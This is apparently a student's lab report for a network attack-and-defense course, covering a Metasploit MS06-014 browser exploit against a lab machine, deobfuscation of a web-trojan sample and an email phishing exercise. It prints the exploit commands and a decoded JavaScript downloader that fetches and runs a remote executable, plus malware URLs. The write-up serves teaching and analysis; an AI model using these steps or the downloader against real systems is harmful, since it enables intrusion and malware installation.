20212912 2021-2022-2 《网络攻防实践》第十一次作业

1.实践内容

2.实践过程

1.web浏览器渗透攻击

2.网页木马攻击场景分析

3.web浏览器渗透攻击攻防

3.学习中遇到的问题及解决

4.实践总结

 

 

1.实践内容

(1)web浏览器渗透攻击

任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。

实验步骤:

①选择使用Metasploit中的MS06-014渗透攻击模块

②选择PAYLOAD为任意远程Shell连接

③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本

④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL

⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令

(2)取证分析实践—网页木马攻击场景分析

实践过程:

①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,

②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。

③如果解密出的地址给出的是网页或脚本文件,请继续解密。

④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。

⑤重复以上过程直到这些文件被全部分析完成。

(3)攻防对抗实践—web浏览器渗透攻击攻防

攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

 

攻击环境

机器名称

IP地址

kali

192.168.200.3

Win2kServer

192.168.200.10

 

2.实践过程

1.web浏览器渗透攻击

在kali中输入 msfconsole ,打开Metasploit;

 

输入search MS06-014 ,搜索MS06-014渗透攻击模块,发现只有一个可用的攻击模块

 

输入use 0,使用该模块进行攻击

 

使用漏洞:

use exploit/windows/browser/ie_createobject

②选择PAYLOAD为任意远程Shell连接

输入set lhost 192.168.200.3设置攻击机地址;

 

设置参数:

set SRVPORT 80

set URIPATH /

③设置参数,运行exploit,构造出恶意网页木马脚本

set payload windows/shell/bind_tcp

run

 

④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL

然后在靶机中模拟受害者操作,打开http://192.168.200.3:80

 

⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令

 

 

2.网页木马攻击场景分析

打开 start.html 文件,搜索"new09.htm",找到两处,如下图:

 

 

从这两处可以看出 start.html 文件在引用 new09.htm 文件时没有写绝对路径,所以new09.htm 文件与 start.html 文件在同一目录下。同样,下载下来并用记事本打开,可以发现引用两个文件,

一个是http://aa.18dd.net/aa/kl.htm 文件,另一个是 http://js.users.51.la/1299644.js 文件。如下图:

 

 

接下来分别对它们作 MD5 散列,得到结果如下图:

http://aa.18dd.net/aa/kl.htm

http://js.users.51.la/1299644.js

 

在文件夹中分别找上述对应Hash值的文件,并打开,可以发现, 第一个文件23180a42a2ff1192150231b44ffdf3d3 中的内容不是我们要找的,第二个文件看起很复杂看起来像我们要找的文件。

 

第二个文件的内容看起来很复杂,但实际上这是一种被称为 XXTEA+Base64 的加密方法,对付这种加密方法,我们只要找到它的加密密钥就可以。注意上面的倒数第三行,即:

t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));

 

xxtea_decrypt 函数的第二个参数 \x73\x63\x72\x69\x70\x74 就是密钥。这里简单地使用了 16 进制加密。我进行在线转换一下,可以得到密钥是"script",如下图:

 

使用XXTEA+Base64进行解密:

然后对引号内的十六进制数进行转字符串的操作,便可以得到以下内容:

 

可以看到这个文件利用到的应用程序漏洞有"Adodb.Stream"、"MPS.StormPlayer"、POWERPLAYER.PowerPlayerCtrl.1"和"BaiduBar.Tool",分别对应利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞。这些都是现在网络用户使用非常频繁的软件。另外,这个文件还引用三个 js 文件和一个压缩包(bd.cab,解开后是 bd.exe)。之后,,分别计算"http://aa.18dd.net/aa/1.js"、"http://aa.18dd.net/aa/b.js"、"http://aa.18dd.net/aa/pps.js"和"http://down.18dd.net/bb/bd.cab" 的md5值:

 

文件

MD5

http://aa.18dd.net/aa/1.js

5d7e9058a857aa2abee820d5473c5fa4

http://aa.18dd.net/aa/b.js

3870c28cc279d457746b3796a262f166

http://aa.18dd.net/aa/pps.js

5f0b8bf0385314dbe0e5ec95e6abedc2

http://down.18dd.net/bb/bd.cab

1c1d7b3539a617517c49eee4120783b2

 

依次打开相应的文件:

1、http://aa.18dd.net/aa/1.js (5d7e9058a857aa2abee820d5473c5fa4)

打开相应的文件之后能够发现是十六进制数据:

 

进行转化之后可以得到:

var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open

("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close

();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}

该代码前面部分下载了一个 http://down.18dd.net/bb/014.exe 的可执行文件,后面部分是对ADODB漏洞的继续利用。

2、http://aa.18dd.net/aa/b.js (3870c28cc279d457746b3796a262f166 )

这里使用了packed加密方法,解密结果为:

我们可以看到关键字shellcode,根据参考文件,shellcode是一个下载器,因此需要寻找其中的URL,最后找到的结果为 http://down.18dd.net/bb/bf.exe 得到一个可执行文件。

 

3、http://aa.18dd.net/aa/pps.js (5f0b8bf0385314dbe0e5ec95e6abedc2 )

这里采用了八进制加密方式,解密结果为:

可以得到可执行文件http://down.18dd.net/bb/pps.exe

 

4、http://down.18dd.net/bb/bd.cab (1c1d7b3539a617517c49eee4120783b2 )

这是一个压缩文件,解压缩可以得到一个叫bf.exe文件。

使用超级巡警工具,查看可执行文件的加壳情况,发现用Delphi写的:

 

用W32Dasm软件反汇编bf.exe文件,并查看串式参考内容清单:

从"goto try",":try","Alletdel.bat","cmd /c date ","cmd /c date 1981-01-12","del ","del %0"等这些字符串中推断,这个程序可能生成一个叫"Alletdel.bat"的批处理文件,这个文件中有一个标签叫"try",批处理文件会不断的执行这个标签下一行的命令,命令内容可能是判断文件存在性,更改系统日期,删除某些文件。

 

从":\AutoRun.inf","[AutoRun] open=","AutoRun.inf","shell\Auto\command="中,猜测这个程序可能在磁盘根目录下生成自动运行的文件,以求用户不小心时启动程序。

 

"瑞星卡卡上网安全助手 - IE 防漏墙", "允许","允许执行"可以看出这个程序有一定的防系统保护软件的能力。

 

可以看到有20个"http://down.18dd.net/kl/**.exe",这个程序要下载一堆木马。

 

3.web浏览器渗透攻击攻防

攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

攻击方

按照第一个实验的步骤使用MS06-014漏洞生成URL

然后将该URL伪装成一封邮件发送给防守方:

防守方

防守方接收到该邮件:

打开其源代码,可以看到中间使用了大量的空格、水平制表符和回车等,这样能够对关键指令做字符串拼接处理,防止被杀毒软件发现:

 

使用工具将空格(0x20)、水平制表符(0x09)和回车(0x0a、0x0d)等删掉:

可以得到完整代码如下:

 

阅读代码,可以看到其中使用到document.location加载了payload,并且下一行中后面跟了一个可执行文件EZVfuSQSoKIENts.exe,猜想这个可执行文件应该是以攻击机为服务器,通过网页下载到靶机上的:

打开靶机任务管理器查看正在运行的进程,能够发现出现的那个可执行文件:

 

3.学习中遇到的问题及解决

进行实验一时,攻击不成功

尝试更换payload为正向连接的paylaodwindows/shell/bind_tcp,最后攻击成功。

 

4.实践总结

通过本次实验,我学会了如何通过web浏览器来实施渗透攻击,学会了如何构造网页木马,进一步加深了我对Metasploit使用法法的掌握,我知道了如何通过建立起的远程控制会话来对靶机进行命令操作。

posted @ 2022-05-27 10:19  Sucarlet  阅读(80)  评论(0编辑  收藏  举报